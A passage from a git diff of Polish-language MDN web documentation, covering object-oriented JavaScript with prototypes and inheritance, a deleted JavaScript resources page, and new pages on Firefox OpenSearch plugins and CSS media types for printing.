JavaScript posiada kilka obiektów wbudowanych, na przykład Math, Object, Array, i String. Poniższy przykład pokazuje, jak użyć obiektu Math do pobrania pseudo-losowej liczby używając metody random().

- -
alert(Math.random());
-
- -
Notka: Ten i wszystkie dalsze przykłady zakładają, że istnieje funkcja globalna alert (taka, jak ta zaimplementowana w przeglądarkach internetowych). Tak naprawdę funkcja alert nie jest częścią języka JavaScript.
- -

Artykuł Core JavaScript 1.5 Reference:Global Objects zawiera listę wszystkich obiektów wbudowanych w JavaScript.

- -

Każdy obiekt w JavaScript jest instancją obiektu Object i tym samym dziedziczy jego wszystkie właściwości i metody.

- -

Własne obiekty

- -

Klasa

- -

JavaScript jest językiem opartym na prototypie, w którym nie występuje pojęcie klasy, w przeciwieństwie do języków takich, jak C++ czy Java. Fakt ten bywa dezorientujący dla programistów przyzwyczajonych do języków z pojęciem klasy. Zamiast klas, JavaScript stosuje funkcje. Zdefiniowanie klasy ogranicza się do prostej czynności, jaką jest zdefiniowanie funkcji. W poniższym przykładzie definiujemy nową klasę Person.

- -
function Person() { }
-or
-var Person = function(){ }
-
- -

Obiekt (instancja klasy)

- -

Żeby utworzyć nową instancję obiektu obj, używamy wyrażenia new obj, przypisując jego wynik (który jest typu obj) do zmiennej, żeby później mieć do niego dostęp.

- -

W poniższym przykładzie definiujemy klasę Person i tworzymy dwie instancje (person1 i person2).

- -
function Person() { }
-var person1 = new Person();
-var person2 = new Person();
-
- -
Zobacz również Object.create, który jest nową metodą instancjalizacji.
- -

Konstruktor

- -

Konstruktor jest wywoływany w momencie instancjalizacji (moment, w którym instancja obiektu zostaje utworzona). Konstruktor jest metodą klasy. W JavaScript, funkcja służy za konstruktor obiektu. Nie ma jednak wyraźnej potrzeby definiowania konstruktora. Każda akcja zadeklarowana w konstruktorze zostanie wykonana w momencie utworzenia obiektu.

- -

Konstruktor jest używany do ustawienia właściwości obiektu lub do wywołania metod przygotowujących obiekt do użytku.

- -

W poniższym przykładzie konstruktor klasy Person wyświetla ostrzeżenie w momencie kiedy Person zostaje utworzony.

- -
function Person() {
-  alert('Person został utworzony');
-}
-
-var person1 = new Person();
-var person2 = new Person();
-
- -

Właściwość (atrybut obiektu)

- -

Właściwości są zmiennymi zawartymi wewnątrz klasy. Każda instancja obiektu posiada te właściwości. Właściwości powinny być ustawiane we właściwości prototype klasy (funkcji), dzięki czemu dziedziczenie zadziała prawidłowo.

- -

Dostęp do właściwości z wnętrza klasy odbywa się za pomocą słowa kluczowego this, które odnosi się do aktualnego obiektu. Dostęp (odczyt lub zapis) do właściwości poza klasą odbywa się za pomocą składni: NazwaInstancji.Wlasciwosc; jest to taka sama składnia, jak w językach C++, Java i szeregu innych języków.

- -

W poniższym przykładzie definiujemy właściwość firstName dla klasy Person i robimy to w momencie utworzenia obiektu.

- -
function Person(firstName) {
-  this.firstName = firstName;
-  alert('Person instantiated');
-}
-
-var person1 = new Person('Alice');
-var person2 = new Person('Bob');
-
-// Pokaż właściwości firstName obiektów
-alert('person1 nazywa się ' + person1.firstName); // komunikat "person1 nazywa się Alice"
-alert('person2 nazywa się ' + person2.firstName); // komunikat "person2 nazywa się Bob"
-
- -

Metody

- -

Metody opierają się na tej samej logice, co właściwości; różnica polega na tym, że są one funkcjami i definiuje się je jak funkcje. Wywołanie metody wygląda podobnie do wywołania właściwości, z tym, że dodajemy ( ) na końcu nazwy metody, czasami z argumentami. Żeby zdefiniować metodę, przypisujemy funkcję do jakiejś właściwości obiektu prototype klasy; nazwa właściwości staje się nazwą metody, po jakiej wywołamy ją na obiekcie.

- -

W poniższym przykładzie definiujemy i używamy metodę sayHello() dla klasy Person.

- -
function Person(firstName) {
-  this.firstName = firstName;
-}
-
-Person.prototype.sayHello = function() {
-  alert("Hello, I'm " + this.firstName);
-};
-
-var person1 = new Person("Alice");
-var person2 = new Person("Bob");
-
-// wywołanie metody sayHello klasy Person
-person1.sayHello(); // komunikat "Hello, I'm Alice"
-person2.sayHello(); // komunikat "Hello, I'm Bob"
-
- -

W JavaScript metody to zwykłe funkcje, które są przypisane do obiektu jako jego właściwości, dzięki czemu mogą być wywoływane w jego kontekście. Przyjrzyj się natępującemu przykładowi kodu:

- -
function Person(firstName) {
-  this.firstName = firstName;
-}
-
-Person.prototype.sayHello = function() {
-  alert("Hello, I'm " + this.firstName);
-};
-
-var person1 = new Person("Alice");
-var person2 = new Person("Bob");
-var helloFunction = person1.sayHello;
-
-person1.sayHello();                                 // komunikat "Hello, I'm Alice"
-person2.sayHello();                                 // komunikat "Hello, I'm Bob"
-helloFunction();                                    // komunikat "Hello, I'm undefined" (lub niepowodzenie
-                                                    // wyświetlające TypeError w trybie strict)
-alert(helloFunction === person1.sayHello);          // komunikat true
-alert(helloFunction === Person.prototype.sayHello); // komunikat true
-helloFunction.call(person1);                        // komunikat "Hello, I'm Alice"
-
- -

Jak pokazuje powyższy przykład, wszystkie odniesienia do funkcji sayHello  to w obiekcie person1, w Person.prototype, w helloFunctionvariable, itd. — dotyczą tej samej funkcji. W trakcie wywołania funkcji, wartość this zależy od tego, jak ją wywołamy. W typowym przypadku, gdzie wywołujemy funkcję jako metodę obiektu — person1.sayHello() — this odnosi się do obiektu, z którego funkcja pochodzi (person1), stąd person1.sayHello() używa nazwy "Alice", a person2.sayHello() używa nazwy "Bob". Natomiast wywołanie funkcji ze zmiennej — helloFunction() — ustawia this na obiekt globalny (window w przypadku przeglądarek). Ponieważ ten obiekt najprawdopodobniej nie posiada właściwości firstName, ostatecznie otrzymujemy komunikat "Hello, I'm undefined". (Tak będzie w trybie loose; byłoby inaczej [błąd] w trybie strict, ale nie będziemy go tutaj opisywać, żeby nie wprowadzać zamieszania). Możemy też ustawić this wedle uznania, używając funkcji call (lub apply), tak jak pokazuje ostatni przykład.

- -
Więcej na temat this w Function#call oraz Function#apply
- -

Dziedziczenie

- -

Dziedziczenie jest sposobem na stworzenie klasy jako specjalistycznej wersji jednej lub większej ilości klas (JavaScript wspiera tylko dziedziczenie pojedyncze). Taka wyspecjalizowana klasa jest często nazywana dzieckiem, natomiast ta druga — rodzicem. W JavaScript osiąga się to poprzez przypisanie klasy rodzica do klasy dziecka, a następnie wyspecjalizowaniu jej. W nowoczesnych przeglądarkach można również użyć Object.create do implementacji dziedziczenia.

- -
-

JavaScript nie wykrywa właściwości klasy dziecka prototype.constructor (zobacz Core JavaScript 1.5 Reference:Global Objects:Object:prototype), więc musimy tego dokonać ręcznie.

-
- -

W poniższym przykładzie definiujemy klasę Student jako dziecko klasy Person. Następnie definiujemy ponownie metodę sayHello() oraz dodajemy metodę sayGoodBye().

- -
// Definicja konstruktora Person
-function Person(firstName) {
-  this.firstName = firstName;
-}
-
-// Dodajemy kilka metod do Person.prototype
-Person.prototype.walk = function(){
-  alert("I am walking!");
-};
-Person.prototype.sayHello = function(){
-  alert("Hello, I'm " + this.firstName);
-};
-
-// Definiujemy konstruktor
-function Student(firstName, subject) {
-  // Wywołujemy konstruktor rodzica (używając Function#call) upewniając się, że "this"
-  // zostanie ustawione poprawnie podczas wywołania
-  Person.call(this, firstName);
-
-  // inicjalizujemy właściwości odpowiednie dla studenta
-  this.subject = subject;
-};
-
-// Tworzymy obiekt Student.prototype, który dziedziczy po Person
-// Uwaga: Typowym błędem w takich przypadkach jest użycie "new Person()" do utworzenia Student.prototype.
-// Jest to niepoprawne z kilku powodów, nie wspominając o tym,
-// Nie mielibyśmy jakiej wartości podać jako argument "firstName".
-// Prawidłowym miejscem na wywołanie konstruktora Person jest to powyżej, w konstruktorze Student
-Student.prototype = Object.create(Person.prototype);
-
-// Ustawiamy właściwość "constructor" na obiekt Student
-Student.prototype.constructor = Student;
-
-// Zmieniamy metodę "sayHello"
-Student.prototype.sayHello = function(){
-  alert("Hello, I'm " + this.firstName + ". I'm studying " + this.subject + ".");
-};
-
-// Dodajemy metodę "sayGoodBye"
-Student.prototype.sayGoodBye = function(){
-  alert("Goodbye!");
-};
-
-// Przykład użycia:
-var student1 = new Student("Janet", "Applied Physics");
-student1.sayHello();   // "Hello, I'm Janet. I'm studying Applied Physics."
-student1.walk();       // "I am walking!"
-student1.sayGoodBye(); // "Goodbye!"
-
-// sprawdzamy poprawność działania "instanceof"
-alert(student1 instanceof Person);  // true
-alert(student1 instanceof Student); // true
-
- -

Jeśli chodzi o linię Student.prototype = Object.create(Person.prototype); w starszych silnikach JavaScript, nie posiadających metody Object.create, można użyć tzw. "polyfill" (aka "shim", patrz artykuł powyżej), czyli funkcję, która stanowi swego rodzaju łatkę zapewniającą kompatybilność wsteczną danej funkcjonalności. Można też samemu napisać funkcję dającą taki sam efekt:

- -
function createObject(proto) {
-    function ctor() { }
-    ctor.prototype = proto;
-    return new ctor();
-}
-
-// Przykład użycia:
-Student.prototype = createObject(Person.prototype);
-
- -
Zobacz Object.create, żeby poznać wszystkie jego możliwości oraz znaleźć łatkę dla starszych silników JavaScript.
- -

Enkapsulacja (hermetyzacja)

- -

W poprzednim przykładzie klasa Student nie musiała wiedzieć, w jaki sposób metoda walk() klasy Person została zaimplementowana, ale wciąż mogła jej używać; klasa Student nie musi ponownie definiować tej metody, dopóki nie chcemy jej zmienić. To zjawisko nazywamy enkapsulacją, czyli każda klasa dziedziczy metody swojego rodzica i definiuje własne tylko wtedy, gdy chce coś zmienić.

- -

Abstrakcja

- -

Abstrakcja jest mechanizmem, który pozwala modelować aktualnie rozpatrywany problem. Może to być osiągane przez dziedziczenie (specjalizację) lub kompozycję. JavaScript osiąga specjalizację dzięki dziedziczeniu, a kompozycję dzięki umożliwieniu instancjom klas bycie wartościami atrybutów innych obiektów.

- -

Klasa Function w JavaScript dziedziczy po klasie Object (jest to przykład specjalizacji modelu), natomiast właściwość Function.prototype jest instancją Object (co z kolei jest przykładem kompozycji).

- -
var foo = function(){};
-alert( 'foo is a Function: ' + (foo instanceof Function) );
-alert( 'foo.prototype is an Object: ' + (foo.prototype instanceof Object) );
-
- -

Polimorfizm

- -

Tak, jak wszystkie metody i właściwości są zdefiniowane wewnątrz właściwości prototype, tak różne klasy mogą definiować metody z tą samą nazwą; metody mają zasięg ograniczony do klasy, w której zostały zdefiniowane. Ma to rację bytu tylko w przypadku, gdy dwie klasy nie są w relacji rodzic-dziecko (kiedy jedna nie dziedziczy po drugiej w łańcuchu dziedziczenia).

- -

Uwagi

- -

Techniki implementacji programowania zorientowanego obiektowo zaprezentowane w tym artykule nie są jedynymi, jakie umożliwia JavaScript, dzięki czemu sposób osiągnięcia programowania obiektowego jest w tym języku bardzo elastyczny.

- -

Techniki tutaj przedstawione nie zawierają żadnych sztuczek językowych, ani nie próbują naśladować implementacji teorii obiektowości z innych języków.

- -

Istnieją inne techniki, które czynią programowanie obiektowe w JavaScript jeszcze bardziej zaawansowanym, jednak są one poza zasięgiem tego artykułu wprowadzającego.

- -

Przypisy

- -
    -
  1. Mozilla. "Core JavaScript 1.5 Guide", https://developer.mozilla.org/docs/Web/JavaScript/Guide
  2. -
  3. Wikipedia. "Object-oriented programming", http://en.wikipedia.org/wiki/Object-...ed_programming
  4. -
  5. OOP JavaScript Overview series by Kyle Simpson
  6. -
diff --git "a/files/pl/web/javascript/zasoby_j\304\231zyka_javascript/index.html" "b/files/pl/web/javascript/zasoby_j\304\231zyka_javascript/index.html" deleted file mode 100644 index c53fd0fd2a..0000000000 --- "a/files/pl/web/javascript/zasoby_j\304\231zyka_javascript/index.html" +++ /dev/null @@ -1,48 +0,0 @@ ---- -title: Zasoby języka JavaScript -slug: Web/JavaScript/Zasoby_języka_JavaScript -tags: - - JavaScript - - Wszystkie_kategorie -translation_of: Web/JavaScript/Language_Resources ---- -

-

-

JavaScript 1.x

-

ECMAScript jest nazwą używaną dla JavaScriptu ustandaryzowanego przez komitet TC39 organizacji standardów ECMA. Poniższe standardy ECMAScript zostały zatwierdzone: -

- -
Nazwa Odnośniki Data Opis
ECMA-262 PDF Czerwiec 1997 Oryginalny standard ECMAScript.
2 Edycja ECMA-262 PDF Sierpień 1998 Druga wersja standardu ECMAScript; również standard ISO 16262.
3 Edycja ECMA-262 PDF Word Grudzień 1999 Trzecia i najbardziej aktualna wersja standardu ECMAScript; nawiązuje do JavaScript 1.5.
Zobacz także erratę.
ECMA-357 PDF Czerwiec 2004 ECMAScript dla XML (E4X).
Zobacz także erratę E4X.
-

JavaScript 2.0 i 4 edycja ECMAScript

-

Bieżące informacje

-

Nowe: myśl przewodnia Brendana JavaScript at Ten Years (Powerpoint) na konferencję ACM ICFP 2005. -

Obecne prace nad czwartą edycją ECMAScript są okresowe wysyłane na http://developer.mozilla.org/es4/ -

-

Informacje historyczne

-
-

Informacje w tym fragmencie są przestarzałe. -

-
-

Zobacz stronę JavaScript 2.0, aby obejrzeć propozycję Netscapa dotyczącą kolejnej wersji języka JavaScript. Wszystkie informacje tam zawarte są w zasadzie jedynie wstępem i niekoniecznie wskazują konkretne funkcje, które zostaną zaimplementowane w przyszłości. Pracujemy w ramach ECMA TC39, aby koordynować i ustandaryzować proponowane zmiany. -

Zobacz stronę 4 edycji ECMAScript, aby dowiedzieć się o pokrewnej Netscapowi propozycji kolejnej wersji standardu ECMAScript. -

Waldemar jest twórcą 4 edycji standardu ECMA-262 zaproponowanej na rok 2002. Niekompletny szkic ECMA TC39, będący w trakcie konstrukcji, jest dostępny tutaj w formacie PDF. -

Waldemar zaprezentował wykład na temat JavaScriptu 2.0 na konferencji LL1 na MIT. Sprawdź odnośnik agendy, aby uzyskać slajdy z wykładu. -

Waldemar zaprezentował druk "JavaScript 2.0: Evolving a Language for Evolving Systems?" (PDF) oraz wykład na temat JavaScriptu 2.0 (slajdy PowerPoint) na MacHack 2002. Opisują one niektóre z cech języka JavaScript 2.0 i uzasadnienie ich wyboru i konkretnego użycia. -

Dostępna jest wczesna implementacja JavaScriptu 2.0 o nazwie kodowej Epimetheus. -

-

LiveConnect

-

LiveConnect jest mostem pomiędzy JavaScriptem a Javą. 3 wersja LiveConnect jest zaimplementowana w SpiderMonkey od wersji 1.4 i w Rhino od wersji 1.5. -

-

Różne

-

Poniższe zasoby mogą również okazać się pomocne: -

- -
-

Informacje o pochodzeniu dokumentu

- -
-{{ languages( { "en": "en/JavaScript_Language_Resources", "ja": "ja/JavaScript_Language_Resources" } ) }} diff --git a/files/pl/web/opensearch/index.html b/files/pl/web/opensearch/index.html new file mode 100644 index 0000000000..91968f2ac8 --- /dev/null +++ b/files/pl/web/opensearch/index.html @@ -0,0 +1,158 @@ +--- +title: Tworzenie wtyczek OpenSearch dla Firefoksa +slug: Tworzenie_wtyczek_OpenSearch_dla_Firefoksa +tags: + - Dodatki + - OpenSearch + - Wszystkie_kategorie + - Wtyczki_wyszukiwarek +translation_of: Web/OpenSearch +--- +

 

+

OpenSearch

+

Firefox 2 obsługuje format opisu wtyczek wyszukiwarek OpenSearch. Wtyczki korzystające ze składni OpenSearch są zgodne z IE 7 i Firefoksem. Z tego powodu są formatem zalecanym do stosowania na stronach WWW.

+

Firefox obsługuje także dodatkowe możliwości spoza specyfikacji OpenSearch, takie jak podpowiedzi wyszukiwania i element SearchForm. Niniejszy artykuł skupia się na tworzeniu wtyczek zgodnych z OpenSearch, ale wykorzystujących także i te dodatkowe możliwości.

+

Dostępność plików opisu OpenSearch może być także ogłaszana w sposób opisany w podrozdziale Automatyczne wykrywanie wtyczek wyszukiwarek, mogą być także instalowane w sposób programowy, tak jak to opisano w artykule Dodawanie wyszukiwarek ze stron WWW.

+

Plik opisu OpenSearch

+

Plik XML opisujący wyszukiwarkę ma prostą budowę, taką, jak przedstawiona w poniższym szablonie. Pogrubione fragmenty muszą być dostosowane do wymogów konkretnej wyszukiwarki.

+
<OpenSearchDescription xmlns="http://a9.com/-/spec/opensearch/1.1/"
+                       xmlns:moz="http://www.mozilla.org/2006/browser/search/">
+<ShortName>nazwaWyszukiwarki</ShortName>
+<Description>opisWyszukiwarki</Description>
+<InputEncoding>kodowanieWejściowe</InputEncoding>
+<Image width="16" height="16">data:image/x-icon;base64,daneObrazu</Image>
+<Url type="text/html" method="metoda" template="adresURLWyszukiwania">
+  <Param name="nazwaParam1" value="wartośćParam1"/>
+  ...
+  <Param name="nazwaParamN" value="wartośćParamN"/>
+</Url>
+<Url type="application/x-suggestions+json" template="adresURLPodpowiedzi"/>
+<moz:SearchForm>adresURLFormularza</moz:SearchForm>
+</OpenSearchDescription>
+
+
+
+ ShortName
+
+ Krótka nazwa wyszukiwarki.
+
+
+
+ Description
+
+ Zwięzły opis wyszukiwarki.
+
+
+
+ InputEncoding
+
+ Kodowanie znaków stosowane przy wprowadzaniu danych do wyszukiwarki.
+
+
+
+ Image
+
+ Zakodowana przy użyciu algorytmu Base-64 ikona o wymiarach 16x16 reprezentująca wyszukiwarkę. Narzędzie ułatwiające tworzenie danych do umieszczenia w tym elemencie (kodowania plików algorytmem Base64) można znaleźć na stronie: The data: URI kitchen.
+
+
+
+ Url
+
+ Określa adres lub adresy URL wykorzystywane do wyszukiwania. Atrybut method
+
+

decyduje, czy do wysłania zapytania ma być stosowana metoda GET czy POST. Atrybut określa podstawowy adres URL dla zapytania wyszukiwarki.

+
+
+
+ Uwaga: Internet Explorer 7 nie obsługuje żądań POST.
+
+
+
+
+ Firefox obsługuje dwa typy elementów Url:
+
+ +
+
+ W adresach obu typów tekst {searchTerms} zostanie zastąpiony przez wartości wprowadzone przez użytkownika do paska wyszukiwania. Inne obsługiwane parametry dynamiczne wyszukiwania można znaleźć w rozdziale OpenSearch 1.1 parameters specyfikacji OpenSearch.
+
+
+
+ Podczas przeglądania + + oficjalnej specyfikacji OpenSearch + , a konkretnie elementu Url, można zauważyć, że Mozilla w pewnym stopniu nie przestrzega specyfikacji, używając atrybutu method i znacznika Param bez odpowiedniej przestrzeni nazw. Jeśli chcemy zachować zgodność zarówno ze specyfikacją, jak i z Mozillą, możemy bezpiecznie używać obu sposobów równolegle, tzn. używać atrybutu method i jego wersji z przestrzenią nazw obok siebie.
+
+
+
+ Dla zapytań o podpowiedzi wyszukiwania, podany szablon adresu URL wykorzystywany jest do pobrania listy podpowiedzi w formacie JavaScript Object Notation (JSON). Szczegóły na temat implementacji podpowiedzi wyszukiwania po stronie serwera można znaleźć w artykule Wsparcie dla podpowiedzi wyszukiwania w wyszukiwarkach.
+
+

Image:SearchSuggestionSample.jpg

+
+
+ Param
+
+ Parametry, które muszą zostać przekazane wraz z zapytaniem, w postaci par klucz/wartość. Przy określaniu tych wartości można użyć {searchTerms}, by wstawić w to miejsce wyszukiwane słowa wprowadzone przez użytkownika w pasku wyszukiwania.
+
+
+ Uwaga: Internet Explorer 7 nie obsługuje tego elementu.
+
+
+
+
+ SearchForm
+
+ Adres URL strony z wyszukiwarką na danej witrynie. (Niejako adres strony, którą wtyczka wyszukiwarki zastępuje - przyp. tłum.). W ten sposób Firefox umożliwia użytkownikowi bezpośrednie otwarcie danej witryny.
+
+
+ Uwaga: Ten element nie jest częścią specyfikacji OpenSearch, jest związany z konkretną funkcją Firefoksa. Z tej przyczyny poprzedzony został przedrostkiem przestrzeni nazw XML "moz:", aby inne aplikacje, nie obsługujące tego elementu, mogły go zignorować.
+

Automatyczne wykrywanie wtyczek wyszukiwarek

+

Witryna oferująca wtyczkę wyszukiwarki może ogłosić jej dostępność, umożliwiając użytkownikom Firefoksa na łatwą i szybką instalację wtyczki.

+

Aby skorzystać z tej funkcji, wystarczy po prostu w części <head> strony internetowej dodać jedną linię:

+
<link rel="search" type="application/opensearchdescription+xml" title="tytułWyszukiwarki" href="adresURLWtyczki">
+
+

Pochylony tekst należy zastąpić, jak opisano poniżej:

+
+
+ tytułWyszukiwarki
+
+ Nazwa wyszukiwarki, np. "Yahoo! Search". Wartość ta powinna być zgodna z wartością ShortName w pliku wtyczki.
+
+
+
+ adresURLWtyczki
+
+ Adres URL do pliku XML wtyczki wyszukiwania, która ma zostać pobrana przez przeglądarkę.
+
+

Jeśli witryna oferuje szereg wtyczek wyszukiwania, można pozwolić na automatyczne wykrywanie ich wszystkich - przez umieszczenie tylu znaczników link, ile wtyczek chcemy zaoferować, np.:

+
<link rel="search" type="application/opensearchdescription+xml" title="MySite: wg autora" href="http://www.mysite.com/mysiteauthor.xml">
+<link rel="search" type="application/opensearchdescription+xml" title="MySite: wg tytułu" href="http://www.mysite.com/mysitetitle.xml">
+
+

W ten sposób witryna oferuje osobne wtyczki pozwalające na przeszukanie wg autorów i tytułów.

+

Rozwiązywanie problemów – wskazówki

+

Jeśli w pliku XML wtyczki jest błąd, mogą wystąpić problemy podczas instalacji wykrytej wtyczki w Firefoksie 2. Informacja o błędzie może nie być zbyt dokładna, dlatego poniżej podajemy kilka wskazówek, które powinny pomóc w takiej sytuacji.

+ +

Ponadto usługa wtyczek wyszukiwarek zapewnia dostęp do mechanizmu dziennika, który może być przydatny dla twórców wtyczek. Aby skorzystać z dziennika, należy na stronie + + about:config + ustawić wartość opcji 'browser.search.log' na true. Informacje dziennika będą pojawiać się w Konsoli błędów Firefoksa (Narzędzia->Konsola błędów) przy dodawaniu wtyczek.

+

Literatura

+ +

Interwiki link

+
+  
diff --git a/files/pl/web/progressive_web_apps/responsive/media_types/index.html b/files/pl/web/progressive_web_apps/responsive/media_types/index.html new file mode 100644 index 0000000000..ef6c87f8cf --- /dev/null +++ b/files/pl/web/progressive_web_apps/responsive/media_types/index.html @@ -0,0 +1,318 @@ +--- +title: Media +slug: Web/CSS/Na_początek/Media +tags: + - 'CSS:Na_początek' +translation_of: Web/Progressive_web_apps/Responsive/Media_types +--- +

+

Wiele stron tego kursu skupiało się na własnościach i wartościach CSS, których możesz użyć do określania wyglądu dokumentu. +

Ta strona wraca do tematu przeznaczenia i struktury arkuszy stylów. +

+

Informacja: Media

+

Przeznaczeniem CSS-u jest określanie jak dokumentu mają być prezentowane użytkownikowi. +Prezentacja może przyjąć wiele różnych form. +

Na przykład prawdopodobnie czytasz tę stronę na jakimś urządzeniu wyświetlającym. Ale możesz również chcieć wyświetlić ją na ekranie dla większego grona odbiorców lub wydrukować ją. +To są różne media o różnych charakterystykach. +CSS daje możliwość prezentowania dokumentu w różny sposób dla różnych mediów. +

Aby zdefiniować regułę, która będzie dotyczyła tylko określonego typu mediów, użyj @media z typem mediów oraz klamrami obejmującymi reguły, których ma to dotyczyć. +

+ + +
Przykład +
Dokument na stronie WWW posiada pole nawigacyjne pozwalające użytkownikowi poruszać się po stronie. +

W języku znaczników element rodzica pola nawigacyjnego ma id nav-area. +

Kiedy dokument jest drukowany, pole nawigacyjne nie ma żadnego zastosowania, więc arkusz stylów usuwa je w całości: +

+
+

@media print { +

+
 #nav-area {display: none;}
+ }
+
+
+
+

Niektóre z popularnych typów mediów: +

+ + + + + + + + +
screenKolorowy wyświetlacz komputera +
printWyświetlanie na stronach +
projectionWyświetlane podczas projekcji +
allWszystkie media (domyślne) +
+


+

+ + +
Więcej szczegółów +
Istnieją też inne sposoby określenia docelowych mediów. +

Język znaczników dokumentu może pozwalać na określenie typu mediów w odnośniku wiążącym arkusz stylów z dokumentem. Na przykład w HTML-u możesz opcjonalnie określić typ mediów w atrybucie media w znaczniku LINK. +

W CSS możesz użyć @import na początku arkusza stylów, aby zaimportować inny arkusz stylów z podanego adresu URL, opcjonalnie podając też typ mediów. +

Dzięki wykorzystaniu tych technik możesz rozdzielić reguły stylów dla różnych typów mediów do różnych plików. Może to być czasem przydane do ułożenia struktury Twojego dokumentu. +

Aby dowiedzieć się więcej na temat typów mediów, zajrzyj na stronę Media w specyfikacji CSS. +

Istnieje więcej przykładów wykorzystania własności display na dalszej stronie kursu: Dane XML. +

+
+

Drukowanie

+

CSS posiada specyficzne własności przeznaczone dla mediów stronicowych. +

Reguła @page może ustawiać marginesy strony. +Aby ustawić drukowanie dwustronne, możesz określić marginesy osobno dla @page:left oraz @page:right. +

Dla mediów stronicowych zazwyczaj należy używać odpowiednich jednostek długości takich jak cale (in), punkty (pt) = 1/72 cala), centymetry (cm) lub milimetry (mm). Równie dobrze możesz używać ems (em), aby dopasować się do rozmiaru czcionki, oraz procentów (%). +

Możesz kontrolować, jak zawartość dokumentu jest przełamywana na strony, przy użyciu własności page-break-before, page-break-after i page-break-inside. +

+ + +
Przykład +
Ta reguła ustawia margines strony na jeden cal dla każdej strony: +
+

@page {margin: 1in;} +

+
+

Ta reguła zapewnia, że każdy element H! zaczyna się na nowej stronie: +

+
+

h1 {page-break-before: always;} +

+
+
+


+

+ + +
Więcej szczegółów +
Aby dowiedzieć się więcej o obsłudze mediów stronicowych, zajrzyj na stronę Media stronicowe w specyfikacji CSS. +

Drukowanie, podobnie jak inne funkcje CSS, zależy od Twojej przeglądarki i jej ustawień. +Na przykład przeglądarka Mozilla ustawia domyślne marginesy, nagłówki i stopkę podczas druku. +Raczej nie będziesz w stanie przewidzieć ustawień przeglądarek innych użytkowników drukujących Twój dokument &mbdash; nie masz możliwości w pełni kontrolować wyniku. +

+
+

Interfejsy użytkownika

+

CSS ma pewne specjalne własności przeznaczone dla urządzeń obsługujących interfejs użytkownika, takich jak wyświetlacz komputera. To sprawia, że widok dokumentu zmienia się dynamicznie w trakcie pracy użytkownika z interfejsem. +

Nie istnieje osobny typ mediów dla urządzeń z interfejsem użytkownika. +

Istnieje pięć specjalnych selektorów: +

+ + + + + + + + + + + + +
SelektorWybiera +
E:hoverDowolny element E, nad którym znajduje się wskaźnik +
E:focusDowolny element E, który jest w danym momencie aktywny dla interfejsu +
E:activeElement E, który jest wykorzystywany w aktualnie wykonywanej akcji użytkownika +
E:linkDowolny element E, który jest odnośnikiem do strony której użytkownik nie odwiedzał ostatnio +
E:visitedDowolny element E, który jest odnośnikiem do adresu URL, który użytkownik odwiedził niedawno +
+

Własność cursor określa kształt wskaźnika; niektóre z podstawowych kształtów podane są poniżej. Umieść kursor myszy nad elementami na tej liście, aby zobaczyć jak wygląda podany kursor: +

+ + + + + + + + + + +
SelektorWybiera +
pointerWskazuje odnośnik +
waitWskazuje, że program nie może przyjmować danych +
progressWskazuje, że program w tej chwili pracuje, ale może przyjmować dane od użytkownika +
defaultDomyślny (zazwyczaj strzałka) +
+

Własność outline tworzy zewnętrzną linię, która zazwyczaj jest używana do oznaczenia pola aktywnego dla klawiatury. +Jej wartości są podobne do własności border, poza tym, że nie możesz określać osobno wartości dla poszczególnych boków. +

Kilka innych funkcji interfejsu użytkownika zostało zaimplementowanych przy użyciu atrybutów w tradycyjny sposób. Na przykład elementy, które są nieaktywne albo w trybie tylko do odczytu posiadają atrybut disabled lub readonly. +Selektory mogą określać takie atrybuty podobnie jak każde inne — poprzez użycie prostokątnych nawiasów: {{ mediawiki.external('disabled') }} lub {{ mediawiki.external('readonly') }}. +


+

+ + +
Przykład +
Te reguły określają style dla przycisku, który zmienia się dynamicznie, kiedy użytkownik na nim operuje: +
+.green-button {
+  background-color:#cec;
+  color:#black;
+  border:2px outset #cec;
+  }
+
+.green-button[disabled] {
+  background-color:#cdc;
+  color:#777;
+  }
+
+.green-button:active {
+  border-style: inset;
+  }
+
+

To wiki nie obsługuje interfejsu użytkownika na tej stronie, zatem przyciski nie mogą być *klikalne*. Poniżej znajdują się statyczne obrazki ilustrujące ideę: +

+ + +
+ + + + + + +
Click Me +Click Me +Click Me +
+
disablednormalactive +
+
+

W pełni funkcjonalny przycisk posiada dodatkowo ciemną linię wokół całego przycisku, kiedy jest on domyślny, oraz kropkowaną linię na przycisku, kiedy jest on aktywny dla klawiatury. Może także posiadać efekt aktywizacji, kiedy wskaźnik znajduje się nad nim. +

+
+ + +
Więcej szczegółów +
Aby dowiedzieć się więcej o interfejsach użytkownika w CSS, zobacz stronę User interface w specyfikacji CSS. +

Istnieje też przykład napisany w języku znaczników Mozilli, XUL-u, w drugiej części tego kursu. +

+
+

Zadanie: Drukowanie dokumentu

+

Stwórz nowy dokument HTML, doc4.html. +Skopiuj i wklej poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: +

+
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0//EN">
+<HTML>
+
+<HEAD>
+<TITLE>Print sample</TITLE>
+<LINK rel="stylesheet" type="text/css" href="style4.css"></strong>
+</HEAD>
+
+<BODY>
+<H1>Section A</H1>
+<P>This is the first section...</P>
+
+<H1>Section B</H1>
+<P>This is the second section...</P>
+
+<DIV id="print-head">
+Heading for paged media
+</DIV>
+
+<DIV id="print-foot">
+Page:
+</DIV>
+
+</BODY>
+</HTML>
+
+

Stwórz nowy arkusz stylów, style4.css. +Skopiuj i wklej do niego poniższy kod, upewniając się, że zaznaczyłeś(aś) cały: +

+
/*** Print sample ***/
+
+/* defaults  for screen */
+#print-head,
+#print-foot {
+  display: none;
+  }
+
+/* print only */
+@media print {
+
+h1 {
+  page-break-before: always;
+  padding-top: 2em;
+  }
+
+h1:first-child {
+  page-break-before: avoid;
+  counter-reset: page;
+  }
+
+#print-head {
+  display: block;
+  position: fixed;
+  top: 0pt;
+  left:0pt;
+  right: 0pt;
+
+  font-size: 200%;
+  text-align: center;
+  }
+
+#print-foot {
+  display: block;
+  position: fixed;
+  bottom: 0pt;
+  right: 0pt;
+
+  font-size: 200%;
+  }
+
+#print-foot:after {
+  content: counter(page);
+  counter-increment: page;
+  }
+
+} /* end print only */
+
+

Kiedy oglądasz ten dokument w swojej przeglądarce, używa on domyślnego stylu przeglądarki. +

Kiedy drukujesz go (lub oglądasz podgląd wydruku), arkusz stylów umieszcza każdą sekcję na osobnej stronie oraz dodaje nagłówek i stopkę do każdej strony. Jeżeli Twoja przeglądarka obsługuje także liczniki, dodaje numer strony w stopce. +

+ + +
+ + +
+ + +
Heading
+
Section A
+
This is the first section...
+
Page: 1
+
+
+
+ + +
+ + +
Heading
+
Section B
+
This is the second section...
+
Page: 2
+
+
+
+


+

+ + +
